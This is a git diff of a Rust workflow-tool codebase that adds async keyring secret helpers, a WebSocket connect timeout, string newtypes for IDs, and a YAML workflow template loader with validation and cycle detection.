pub fn set_provider_secret(id: &str, key: &str) -> anyhow::Result<()> {
|
pub fn set_provider_secret(id: &str, key: &str) -> anyhow::Result<()> {
|
||||||
let entry = entry_for(id)?;
|
let entry = entry_for(id)?;
|
||||||
entry.set_password(key).map_err(|e| anyhow::anyhow!("keyring 写入失败(provider={}): {}", id, e))
|
entry.set_password(key).map_err(|e| anyhow::anyhow!("keyring 写入失败(provider={}): {}", id, e))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// [`set_provider_secret`] 的 async 版本(`spawn_blocking` 隔离同步 keyring 调用)。
|
||||||
|
pub async fn set_provider_secret_async(id: String, key: String) -> anyhow::Result<()> {
|
||||||
|
tokio::task::spawn_blocking(move || set_provider_secret(&id, &key))
|
||||||
|
.await
|
||||||
|
.map_err(|e| anyhow::anyhow!("set_provider_secret join 失败: {}", e))?
|
||||||
|
}
|
||||||
|
|
||||||
/// 删除 keyring 密钥(provider 删除时清理)
|
/// 删除 keyring 密钥(provider 删除时清理)
|
||||||
pub fn delete_provider_secret(id: &str) -> anyhow::Result<()> {
|
pub fn delete_provider_secret(id: &str) -> anyhow::Result<()> {
|
||||||
let entry = entry_for(id)?;
|
let entry = entry_for(id)?;
|
||||||
entry.delete_credential().map_err(|e| anyhow::anyhow!("keyring 删除失败(provider={}): {}", id, e))
|
entry.delete_credential().map_err(|e| anyhow::anyhow!("keyring 删除失败(provider={}): {}", id, e))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// [`delete_provider_secret`] 的 async 版本(`spawn_blocking` 隔离同步 keyring 调用)。
|
||||||
|
pub async fn delete_provider_secret_async(id: String) -> anyhow::Result<()> {
|
||||||
|
tokio::task::spawn_blocking(move || delete_provider_secret(&id))
|
||||||
|
.await
|
||||||
|
.map_err(|e| anyhow::anyhow!("delete_provider_secret join 失败: {}", e))?
|
||||||
|
}
|
||||||
|
|
||||||
/// 启动一次性迁移:DB 明文 → keyring → DB 置空(失败保留明文下次重试,非阻断)
|
/// 启动一次性迁移:DB 明文 → keyring → DB 置空(失败保留明文下次重试,非阻断)
|
||||||
pub async fn migrate_secrets_to_keyring(repo: &AiProviderRepo) -> anyhow::Result<usize> {
|
pub async fn migrate_secrets_to_keyring(repo: &AiProviderRepo) -> anyhow::Result<usize> {
|
||||||
let providers = repo.list_all().await?;
|
let providers = repo.list_all().await?;
|
||||||
|
|||||||
@@ -94,6 +94,13 @@ pub trait TunnelClient: Send + Sync {
|
|||||||
/// 此窗口内若收到 error 帧或连接 Close,判定握手失败)
|
/// 此窗口内若收到 error 帧或连接 Close,判定握手失败)
|
||||||
const HANDSHAKE_PROBE: Duration = Duration::from_secs(3);
|
const HANDSHAKE_PROBE: Duration = Duration::from_secs(3);
|
||||||
|
|
||||||
|
/// TCP/WS 建立连接(connect_async)超时上限。
|
||||||
|
///
|
||||||
|
/// 对齐 df-ai http.rs connect_timeout(15s):relay URL 不可达(TCP SYN 无响应)时
|
||||||
|
/// connect_async 会挂 60-120s 才返系统 timeout,Tauri 单线程 tokio runtime 卡死。
|
||||||
|
/// 包 `tokio::time::timeout` 在此窗口内未完成 → 返 TunnelError::Connect 显式错误。
|
||||||
|
const CONNECT_TIMEOUT: Duration = Duration::from_secs(15);
|
||||||
|
|
||||||
/// 心跳间隔(应用层 Ping,补协议层 keepalive,防 NAT 连接表超时回收)
|
/// 心跳间隔(应用层 Ping,补协议层 keepalive,防 NAT 连接表超时回收)
|
||||||
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(25);
|
const HEARTBEAT_INTERVAL: Duration = Duration::from_secs(25);
|
||||||
|
|
||||||
@@ -177,10 +184,18 @@ impl TunnelClient for WsTunnelClient {
|
|||||||
self.cleanup_conn().await;
|
self.cleanup_conn().await;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 1. 建立 WS 连接
|
// 1. 建立 WS 连接(包 CONNECT_TIMEOUT 防 relay 不可达时永久挂 — TCP SYN 无响应
|
||||||
let (ws_stream, _resp) = tokio_tungstenite::connect_async(url)
|
// 系统 timeout 60-120s 才返,Tauri 单线程 tokio runtime 会卡死。对齐 df-ai http.rs
|
||||||
.await
|
// connect_timeout(15s)。保留原错误映射语义:TunnelError::Connect(format!("WS 连接失败 ..."))
|
||||||
.map_err(|e| TunnelError::Connect(format!("WS 连接失败 {url}: {e}")))?;
|
let connect_fut = tokio_tungstenite::connect_async(url);
|
||||||
|
let (ws_stream, _resp) = match tokio::time::timeout(CONNECT_TIMEOUT, connect_fut).await {
|
||||||
|
Ok(res) => res.map_err(|e| TunnelError::Connect(format!("WS 连接失败 {url}: {e}")))?,
|
||||||
|
Err(_) => {
|
||||||
|
return Err(TunnelError::Connect(format!(
|
||||||
|
"WS 连接超时(>{CONNECT_TIMEOUT:?} 无响应){url}"
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
};
|
||||||
tracing::info!(%url, "WS 连接已建立,开始 Hello 握手");
|
tracing::info!(%url, "WS 连接已建立,开始 Hello 握手");
|
||||||
|
|
||||||
let (mut sink, mut stream) = ws_stream.split();
|
let (mut sink, mut stream) = ws_stream.split();
|
||||||
|
|||||||
@@ -435,6 +435,7 @@ mod tests {
|
|||||||
status: ProjectStatus::InProgress,
|
status: ProjectStatus::InProgress,
|
||||||
description: "AI-native dev tool".to_string(),
|
description: "AI-native dev tool".to_string(),
|
||||||
path: Some(SanitizedPath::new("E:/wk-lab/devflow")),
|
path: Some(SanitizedPath::new("E:/wk-lab/devflow")),
|
||||||
|
extra: vec![],
|
||||||
};
|
};
|
||||||
let json = serde_json::to_string(&a).expect("serialize");
|
let json = serde_json::to_string(&a).expect("serialize");
|
||||||
assert!(json.contains("\"kind\":\"project\""));
|
assert!(json.contains("\"kind\":\"project\""));
|
||||||
@@ -452,6 +453,7 @@ mod tests {
|
|||||||
status: ProjectStatus::Planning,
|
status: ProjectStatus::Planning,
|
||||||
description: String::new(),
|
description: String::new(),
|
||||||
path: None,
|
path: None,
|
||||||
|
extra: vec![],
|
||||||
};
|
};
|
||||||
let json = serde_json::to_string(&a).expect("serialize");
|
let json = serde_json::to_string(&a).expect("serialize");
|
||||||
// skip_serializing_if 生效:path 字段不出现在 JSON 中
|
// skip_serializing_if 生效:path 字段不出现在 JSON 中
|
||||||
@@ -469,6 +471,7 @@ mod tests {
|
|||||||
status: TaskStatus::Todo,
|
status: TaskStatus::Todo,
|
||||||
description: "do X".to_string(),
|
description: "do X".to_string(),
|
||||||
project_name: Some("devflow".to_string()),
|
project_name: Some("devflow".to_string()),
|
||||||
|
extra: vec![],
|
||||||
};
|
};
|
||||||
let json = serde_json::to_string(&a).expect("serialize");
|
let json = serde_json::to_string(&a).expect("serialize");
|
||||||
assert!(json.contains("\"kind\":\"task\""));
|
assert!(json.contains("\"kind\":\"task\""));
|
||||||
@@ -485,6 +488,7 @@ mod tests {
|
|||||||
title: "Multi-round parallel".to_string(),
|
title: "Multi-round parallel".to_string(),
|
||||||
status: IdeaStatus::Approved,
|
status: IdeaStatus::Approved,
|
||||||
description: "desc".to_string(),
|
description: "desc".to_string(),
|
||||||
|
extra: vec![],
|
||||||
};
|
};
|
||||||
let json = serde_json::to_string(&a).expect("serialize");
|
let json = serde_json::to_string(&a).expect("serialize");
|
||||||
assert!(json.contains("\"kind\":\"idea\""));
|
assert!(json.contains("\"kind\":\"idea\""));
|
||||||
@@ -520,6 +524,7 @@ mod tests {
|
|||||||
status: ProjectStatus::Planning,
|
status: ProjectStatus::Planning,
|
||||||
description: String::new(),
|
description: String::new(),
|
||||||
path: None,
|
path: None,
|
||||||
|
extra: vec![],
|
||||||
};
|
};
|
||||||
assert_eq!(p.kind_str(), "project");
|
assert_eq!(p.kind_str(), "project");
|
||||||
assert_eq!(p.section_label(), "项目");
|
assert_eq!(p.section_label(), "项目");
|
||||||
|
|||||||
@@ -22,8 +22,68 @@ pub type ReleaseId = String;
|
|||||||
pub type BranchId = String;
|
pub type BranchId = String;
|
||||||
/// 插件 ID
|
/// 插件 ID
|
||||||
pub type PluginId = String;
|
pub type PluginId = String;
|
||||||
/// 执行 ID
|
/// 执行 ID(IPC 边界透明序列化为字符串)
|
||||||
pub type ExecutionId = String;
|
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Hash, Default)]
|
||||||
|
#[serde(transparent)]
|
||||||
|
pub struct ExecutionId(String);
|
||||||
|
|
||||||
|
impl ExecutionId {
|
||||||
|
/// 构造新执行 ID
|
||||||
|
pub fn new(s: impl Into<String>) -> Self {
|
||||||
|
Self(s.into())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Display for ExecutionId {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
write!(f, "{}", self.0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::ops::Deref for ExecutionId {
|
||||||
|
type Target = str;
|
||||||
|
fn deref(&self) -> &str {
|
||||||
|
&self.0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<String> for ExecutionId {
|
||||||
|
fn from(s: String) -> Self {
|
||||||
|
Self(s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<&str> for ExecutionId {
|
||||||
|
fn from(s: &str) -> Self {
|
||||||
|
Self(s.to_owned())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<ExecutionId> for String {
|
||||||
|
fn from(id: ExecutionId) -> Self {
|
||||||
|
id.0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExecutionId 与 &str 的比较(测试/匹配中大量使用)
|
||||||
|
impl PartialEq<&str> for ExecutionId {
|
||||||
|
fn eq(&self, other: &&str) -> bool {
|
||||||
|
self.0 == *other
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PartialEq<str> for ExecutionId {
|
||||||
|
fn eq(&self, other: &str) -> bool {
|
||||||
|
self.0 == other
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PartialEq<String> for ExecutionId {
|
||||||
|
fn eq(&self, other: &String) -> bool {
|
||||||
|
self.0 == *other
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/// 决策 ID
|
/// 决策 ID
|
||||||
pub type DecisionId = String;
|
pub type DecisionId = String;
|
||||||
/// 节点类型(如 ai / human / ai_self_review)
|
/// 节点类型(如 ai / human / ai_self_review)
|
||||||
@@ -31,7 +91,47 @@ pub type NodeType = String;
|
|||||||
/// 任务链接类型(如 depends_on / blocks / relates_to)
|
/// 任务链接类型(如 depends_on / blocks / relates_to)
|
||||||
pub type LinkType = String;
|
pub type LinkType = String;
|
||||||
/// 工具调用类型(如 function)
|
/// 工具调用类型(如 function)
|
||||||
pub type ToolCallType = String;
|
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq, Hash, Default)]
|
||||||
|
#[serde(transparent)]
|
||||||
|
pub struct ToolCallType(String);
|
||||||
|
|
||||||
|
impl ToolCallType {
|
||||||
|
/// 构造新工具调用类型
|
||||||
|
pub fn new(s: impl Into<String>) -> Self {
|
||||||
|
Self(s.into())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Display for ToolCallType {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
write!(f, "{}", self.0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::ops::Deref for ToolCallType {
|
||||||
|
type Target = str;
|
||||||
|
fn deref(&self) -> &str {
|
||||||
|
&self.0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<String> for ToolCallType {
|
||||||
|
fn from(s: String) -> Self {
|
||||||
|
Self(s)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<&str> for ToolCallType {
|
||||||
|
fn from(s: &str) -> Self {
|
||||||
|
Self(s.to_owned())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<ToolCallType> for String {
|
||||||
|
fn from(t: ToolCallType) -> Self {
|
||||||
|
t.0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// ============================================================
|
// ============================================================
|
||||||
// 时间工具
|
// 时间工具
|
||||||
@@ -72,7 +172,9 @@ pub enum IdeaStatus {
|
|||||||
|
|
||||||
impl IdeaStatus {
|
impl IdeaStatus {
|
||||||
/// 返回数据库存储用的小写字符串
|
/// 返回数据库存储用的小写字符串
|
||||||
pub fn as_str(&self) -> &'static str {
|
///
|
||||||
|
/// `const fn`(与 TaskStatus::as_str 对齐,允许调用方在 const 上下文使用)。
|
||||||
|
pub const fn as_str(&self) -> &'static str {
|
||||||
match self {
|
match self {
|
||||||
IdeaStatus::Draft => "draft",
|
IdeaStatus::Draft => "draft",
|
||||||
IdeaStatus::PendingReview => "pending_review",
|
IdeaStatus::PendingReview => "pending_review",
|
||||||
@@ -128,7 +230,9 @@ pub enum ProjectStatus {
|
|||||||
|
|
||||||
impl ProjectStatus {
|
impl ProjectStatus {
|
||||||
/// 返回数据库存储用的小写字符串
|
/// 返回数据库存储用的小写字符串
|
||||||
pub fn as_str(&self) -> &'static str {
|
///
|
||||||
|
/// `const fn`(与 TaskStatus::as_str 对齐,允许调用方在 const 上下文使用)。
|
||||||
|
pub const fn as_str(&self) -> &'static str {
|
||||||
match self {
|
match self {
|
||||||
ProjectStatus::Planning => "planning",
|
ProjectStatus::Planning => "planning",
|
||||||
ProjectStatus::InProgress => "in_progress",
|
ProjectStatus::InProgress => "in_progress",
|
||||||
@@ -186,7 +290,10 @@ pub enum TaskStatus {
|
|||||||
|
|
||||||
impl TaskStatus {
|
impl TaskStatus {
|
||||||
/// 返回数据库存储用的小写字符串
|
/// 返回数据库存储用的小写字符串
|
||||||
pub fn as_str(&self) -> &'static str {
|
///
|
||||||
|
/// `const fn` 使调用方可在 `const` 上下文调用(任务 #17 合并:df-nodes 的
|
||||||
|
/// `task_state_machine` 字符串常量从本方法派生,消除双源柡移)。
|
||||||
|
pub const fn as_str(&self) -> &'static str {
|
||||||
match self {
|
match self {
|
||||||
TaskStatus::Todo => "todo",
|
TaskStatus::Todo => "todo",
|
||||||
TaskStatus::InProgress => "in_progress",
|
TaskStatus::InProgress => "in_progress",
|
||||||
|
|||||||
@@ -23,3 +23,4 @@ async-trait = { workspace = true }
|
|||||||
futures = "0.3"
|
futures = "0.3"
|
||||||
anyhow = { workspace = true }
|
anyhow = { workspace = true }
|
||||||
tracing = { workspace = true }
|
tracing = { workspace = true }
|
||||||
|
serde_yaml = "0.9"
|
||||||
|
|||||||
@@ -110,7 +110,7 @@ async fn node_config_overrides_global_in_node_context() {
|
|||||||
|
|
||||||
let dag = registry.build_dag(&def).expect("build_dag");
|
let dag = registry.build_dag(&def).expect("build_dag");
|
||||||
|
|
||||||
let mut executor = DagExecutor::new(EventBus::new(), "test-nodecfg".to_string());
|
let mut executor = DagExecutor::new(EventBus::new(), "test-nodecfg".into());
|
||||||
// 全局 config 写 foo=GLOBAL(验证被 n1 节点级覆盖,n2 回退用全局)
|
// 全局 config 写 foo=GLOBAL(验证被 n1 节点级覆盖,n2 回退用全局)
|
||||||
let outputs = executor
|
let outputs = executor
|
||||||
.run(&dag, serde_json::json!({ "foo": "GLOBAL" }))
|
.run(&dag, serde_json::json!({ "foo": "GLOBAL" }))
|
||||||
@@ -138,7 +138,7 @@ async fn test_same_layer_runs_in_parallel() {
|
|||||||
dag.add_node("a".to_string(), Box::new(SleepNode { sleep_ms: 100 }));
|
dag.add_node("a".to_string(), Box::new(SleepNode { sleep_ms: 100 }));
|
||||||
dag.add_node("b".to_string(), Box::new(SleepNode { sleep_ms: 100 }));
|
dag.add_node("b".to_string(), Box::new(SleepNode { sleep_ms: 100 }));
|
||||||
|
|
||||||
let mut executor = DagExecutor::new(EventBus::new(), "test-exec".to_string());
|
let mut executor = DagExecutor::new(EventBus::new(), "test-exec".into());
|
||||||
let start = std::time::Instant::now();
|
let start = std::time::Instant::now();
|
||||||
let outputs = executor.run(&dag, serde_json::Value::Null).await.unwrap();
|
let outputs = executor.run(&dag, serde_json::Value::Null).await.unwrap();
|
||||||
let elapsed = start.elapsed();
|
let elapsed = start.elapsed();
|
||||||
@@ -161,7 +161,7 @@ async fn test_layer_failure_aborts_following_layers() {
|
|||||||
dag.add_node("c".to_string(), Box::new(SleepNode { sleep_ms: 10 }));
|
dag.add_node("c".to_string(), Box::new(SleepNode { sleep_ms: 10 }));
|
||||||
dag.add_edge("a".to_string(), "c".to_string());
|
dag.add_edge("a".to_string(), "c".to_string());
|
||||||
|
|
||||||
let mut executor = DagExecutor::new(EventBus::new(), "test-exec".to_string());
|
let mut executor = DagExecutor::new(EventBus::new(), "test-exec".into());
|
||||||
let err = executor
|
let err = executor
|
||||||
.run(&dag, serde_json::Value::Null)
|
.run(&dag, serde_json::Value::Null)
|
||||||
.await
|
.await
|
||||||
@@ -206,7 +206,7 @@ async fn test_cancelled_node_skips_set_failed() {
|
|||||||
let mut dag = Dag::new();
|
let mut dag = Dag::new();
|
||||||
dag.add_node("x".to_string(), Box::new(CancelSelfNode));
|
dag.add_node("x".to_string(), Box::new(CancelSelfNode));
|
||||||
|
|
||||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cancel".to_string());
|
let mut executor = DagExecutor::new(EventBus::new(), "test-cancel".into());
|
||||||
let result = executor.run(&dag, serde_json::Value::Null).await;
|
let result = executor.run(&dag, serde_json::Value::Null).await;
|
||||||
|
|
||||||
// run 返回 Err(取消致中止后续层),但不 panic/bail transition
|
// run 返回 Err(取消致中止后续层),但不 panic/bail transition
|
||||||
@@ -257,7 +257,7 @@ async fn test_cancelled_node_skips_set_completed() {
|
|||||||
let mut dag = Dag::new();
|
let mut dag = Dag::new();
|
||||||
dag.add_node("y".to_string(), Box::new(CancelSelfThenOkNode));
|
dag.add_node("y".to_string(), Box::new(CancelSelfThenOkNode));
|
||||||
|
|
||||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cancel-ok".to_string());
|
let mut executor = DagExecutor::new(EventBus::new(), "test-cancel-ok".into());
|
||||||
let result = executor.run(&dag, serde_json::Value::Null).await;
|
let result = executor.run(&dag, serde_json::Value::Null).await;
|
||||||
|
|
||||||
// run 返回 Ok —— Ok 节点不应因 TOCTOU 取消被误判为失败
|
// run 返回 Ok —— Ok 节点不应因 TOCTOU 取消被误判为失败
|
||||||
@@ -285,7 +285,7 @@ async fn test_cancelled_node_emits_node_cancelled_event() {
|
|||||||
|
|
||||||
let bus = EventBus::new();
|
let bus = EventBus::new();
|
||||||
let mut rx = bus.subscribe();
|
let mut rx = bus.subscribe();
|
||||||
let mut executor = DagExecutor::new(bus, "test-cancel-event".to_string());
|
let mut executor = DagExecutor::new(bus, "test-cancel-event".into());
|
||||||
let _ = executor.run(&dag, serde_json::Value::Null).await;
|
let _ = executor.run(&dag, serde_json::Value::Null).await;
|
||||||
|
|
||||||
// 收集所有事件(run 已结束,事件总线无新事件)
|
// 收集所有事件(run 已结束,事件总线无新事件)
|
||||||
@@ -408,7 +408,7 @@ async fn conditions_eval_routes_by_edge_condition() {
|
|||||||
"$.ok == false".to_string(),
|
"$.ok == false".to_string(),
|
||||||
);
|
);
|
||||||
|
|
||||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cond-route".to_string());
|
let mut executor = DagExecutor::new(EventBus::new(), "test-cond-route".into());
|
||||||
let outputs = executor
|
let outputs = executor
|
||||||
.run(&dag, serde_json::Value::Null)
|
.run(&dag, serde_json::Value::Null)
|
||||||
.await
|
.await
|
||||||
@@ -462,7 +462,7 @@ async fn conditions_eval_skip_keeps_pending() {
|
|||||||
"$.ok == false".to_string(),
|
"$.ok == false".to_string(),
|
||||||
);
|
);
|
||||||
|
|
||||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cond-skip".to_string());
|
let mut executor = DagExecutor::new(EventBus::new(), "test-cond-skip".into());
|
||||||
let outputs = executor
|
let outputs = executor
|
||||||
.run(&dag, serde_json::Value::Null)
|
.run(&dag, serde_json::Value::Null)
|
||||||
.await
|
.await
|
||||||
@@ -504,7 +504,7 @@ async fn conditions_eval_unconditional_edge_always_passes() {
|
|||||||
"$.ok == false".to_string(),
|
"$.ok == false".to_string(),
|
||||||
);
|
);
|
||||||
|
|
||||||
let mut executor = DagExecutor::new(EventBus::new(), "test-cond-mix".to_string());
|
let mut executor = DagExecutor::new(EventBus::new(), "test-cond-mix".into());
|
||||||
let outputs = executor
|
let outputs = executor
|
||||||
.run(&dag, serde_json::Value::Null)
|
.run(&dag, serde_json::Value::Null)
|
||||||
.await
|
.await
|
||||||
|
|||||||
@@ -8,3 +8,4 @@ pub mod executor;
|
|||||||
pub mod node;
|
pub mod node;
|
||||||
pub mod registry;
|
pub mod registry;
|
||||||
pub mod state;
|
pub mod state;
|
||||||
|
pub mod template_loader;
|
||||||
|
|||||||
330
crates/df-workflow/src/template_loader.rs
Normal file
330
crates/df-workflow/src/template_loader.rs
Normal file
@@ -0,0 +1,330 @@
|
|||||||
|
//! YAML 模板加载器 — 从 YAML 字符串加载 DagDef + 校验
|
||||||
|
//!
|
||||||
|
//! 模板格式:
|
||||||
|
//! ```yaml
|
||||||
|
//! name: 代码审查
|
||||||
|
//! description: AI 驱动的代码审查流程
|
||||||
|
//! nodes:
|
||||||
|
//! review:
|
||||||
|
//! type: ai
|
||||||
|
//! config:
|
||||||
|
//! prompt: "审查以下代码变更..."
|
||||||
|
//! persona_id: reviewer
|
||||||
|
//! notify:
|
||||||
|
//! type: notify
|
||||||
|
//! config:
|
||||||
|
//! type: desktop
|
||||||
|
//! title: "审查完成"
|
||||||
|
//! edges:
|
||||||
|
//! - from: review
|
||||||
|
//! to: notify
|
||||||
|
//! ```
|
||||||
|
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
use std::collections::HashMap;
|
||||||
|
|
||||||
|
use crate::dag_def::{DagDef, EdgeDef, NodeDef};
|
||||||
|
|
||||||
|
/// YAML 模板顶层结构
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct WorkflowTemplate {
|
||||||
|
pub name: String,
|
||||||
|
#[serde(default)]
|
||||||
|
pub description: String,
|
||||||
|
pub nodes: HashMap<String, TemplateNode>,
|
||||||
|
#[serde(default)]
|
||||||
|
pub edges: Vec<TemplateEdge>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 模板节点(YAML 友好命名)
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct TemplateNode {
|
||||||
|
/// 节点类型(ai/script/human/git/http/notify/subflow)
|
||||||
|
#[serde(rename = "type")]
|
||||||
|
pub node_type: String,
|
||||||
|
#[serde(default)]
|
||||||
|
pub config: serde_json::Value,
|
||||||
|
#[serde(default)]
|
||||||
|
pub label: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 模板边(YAML 友好命名)
|
||||||
|
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||||
|
pub struct TemplateEdge {
|
||||||
|
pub from: String,
|
||||||
|
pub to: String,
|
||||||
|
#[serde(default)]
|
||||||
|
pub condition: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 模板加载错误
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub enum TemplateError {
|
||||||
|
/// YAML 解析失败
|
||||||
|
YamlParse(String),
|
||||||
|
/// 校验失败(空节点/未知类型/依赖环)
|
||||||
|
Validation(String),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::fmt::Display for TemplateError {
|
||||||
|
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||||
|
match self {
|
||||||
|
Self::YamlParse(msg) => write!(f, "YAML 解析失败: {}", msg),
|
||||||
|
Self::Validation(msg) => write!(f, "模板校验失败: {}", msg),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl std::error::Error for TemplateError {}
|
||||||
|
|
||||||
|
/// 已知的节点类型白名单
|
||||||
|
const KNOWN_NODE_TYPES: &[&str] = &[
|
||||||
|
"ai", "script", "human", "git", "http", "notify", "subflow",
|
||||||
|
];
|
||||||
|
|
||||||
|
/// 从 YAML 字符串加载模板并转换为 DagDef
|
||||||
|
///
|
||||||
|
/// 步骤:
|
||||||
|
/// 1. YAML → WorkflowTemplate(serde_yaml)
|
||||||
|
/// 2. 校验(节点非空/类型合法/边引用存在/无环)
|
||||||
|
/// 3. 转换为 DagDef
|
||||||
|
pub fn load_template(yaml: &str) -> Result<DagDef, TemplateError> {
|
||||||
|
// 1. YAML 解析
|
||||||
|
let template: WorkflowTemplate = serde_yaml::from_str(yaml)
|
||||||
|
.map_err(|e| TemplateError::YamlParse(e.to_string()))?;
|
||||||
|
|
||||||
|
// 2. 校验
|
||||||
|
validate_template(&template)?;
|
||||||
|
|
||||||
|
// 3. 转换为 DagDef
|
||||||
|
let mut dag = DagDef::new();
|
||||||
|
for (id, node) in &template.nodes {
|
||||||
|
dag.nodes.insert(
|
||||||
|
id.clone(),
|
||||||
|
NodeDef {
|
||||||
|
id: id.clone(),
|
||||||
|
node_type: node.node_type.clone(),
|
||||||
|
config: node.config.clone(),
|
||||||
|
label: node.label.clone(),
|
||||||
|
},
|
||||||
|
);
|
||||||
|
}
|
||||||
|
for edge in &template.edges {
|
||||||
|
dag.edges.push(EdgeDef {
|
||||||
|
source: edge.from.clone(),
|
||||||
|
target: edge.to.clone(),
|
||||||
|
condition: edge.condition.clone(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(dag)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 校验模板结构
|
||||||
|
fn validate_template(t: &WorkflowTemplate) -> Result<(), TemplateError> {
|
||||||
|
// 节点非空
|
||||||
|
if t.nodes.is_empty() {
|
||||||
|
return Err(TemplateError::Validation("模板节点不能为空".into()));
|
||||||
|
}
|
||||||
|
|
||||||
|
// 节点类型合法
|
||||||
|
for (id, node) in &t.nodes {
|
||||||
|
if !KNOWN_NODE_TYPES.contains(&node.node_type.as_str()) {
|
||||||
|
return Err(TemplateError::Validation(format!(
|
||||||
|
"节点 '{}' 使用了未知类型 '{}',已知类型: {:?}",
|
||||||
|
id, node.node_type, KNOWN_NODE_TYPES
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 边引用的节点存在
|
||||||
|
let node_ids: std::collections::HashSet<&String> = t.nodes.keys().collect();
|
||||||
|
for edge in &t.edges {
|
||||||
|
if !node_ids.contains(&edge.from) {
|
||||||
|
return Err(TemplateError::Validation(format!(
|
||||||
|
"边的起点 '{}' 不存在", edge.from
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
if !node_ids.contains(&edge.to) {
|
||||||
|
return Err(TemplateError::Validation(format!(
|
||||||
|
"边的终点 '{}' 不存在", edge.to
|
||||||
|
)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 依赖无环(DFS 检测)
|
||||||
|
if has_cycle(&t.edges) {
|
||||||
|
return Err(TemplateError::Validation("依赖存在环".into()));
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// DFS 检测边列表是否有环
|
||||||
|
fn has_cycle(edges: &[TemplateEdge]) -> bool {
|
||||||
|
use std::collections::{HashMap, HashSet};
|
||||||
|
|
||||||
|
// 建邻接表
|
||||||
|
let mut adj: HashMap<&str, Vec<&str>> = HashMap::new();
|
||||||
|
for e in edges {
|
||||||
|
adj.entry(e.from.as_str()).or_default().push(e.to.as_str());
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut visited: HashSet<&str> = HashSet::new();
|
||||||
|
let mut in_stack: HashSet<&str> = HashSet::new();
|
||||||
|
|
||||||
|
fn dfs<'a>(
|
||||||
|
node: &'a str,
|
||||||
|
adj: &HashMap<&'a str, Vec<&'a str>>,
|
||||||
|
visited: &mut HashSet<&'a str>,
|
||||||
|
in_stack: &mut HashSet<&'a str>,
|
||||||
|
) -> bool {
|
||||||
|
if in_stack.contains(node) {
|
||||||
|
return true; // 环
|
||||||
|
}
|
||||||
|
if visited.contains(node) {
|
||||||
|
return false; // 已访问过,无环
|
||||||
|
}
|
||||||
|
visited.insert(node);
|
||||||
|
in_stack.insert(node);
|
||||||
|
if let Some(neighbors) = adj.get(node) {
|
||||||
|
for next in neighbors {
|
||||||
|
if dfs(next, adj, visited, in_stack) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
in_stack.remove(node);
|
||||||
|
false
|
||||||
|
}
|
||||||
|
|
||||||
|
for e in edges {
|
||||||
|
let start = e.from.as_str();
|
||||||
|
if dfs(start, &adj, &mut visited, &mut in_stack) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
false
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn tpl_01_valid_template_loads() {
|
||||||
|
let yaml = r#"
|
||||||
|
name: 代码审查
|
||||||
|
description: AI 驱动的代码审查
|
||||||
|
nodes:
|
||||||
|
review:
|
||||||
|
type: ai
|
||||||
|
config:
|
||||||
|
prompt: "审查代码"
|
||||||
|
notify:
|
||||||
|
type: notify
|
||||||
|
config:
|
||||||
|
type: desktop
|
||||||
|
title: "完成"
|
||||||
|
edges:
|
||||||
|
- from: review
|
||||||
|
to: notify
|
||||||
|
"#;
|
||||||
|
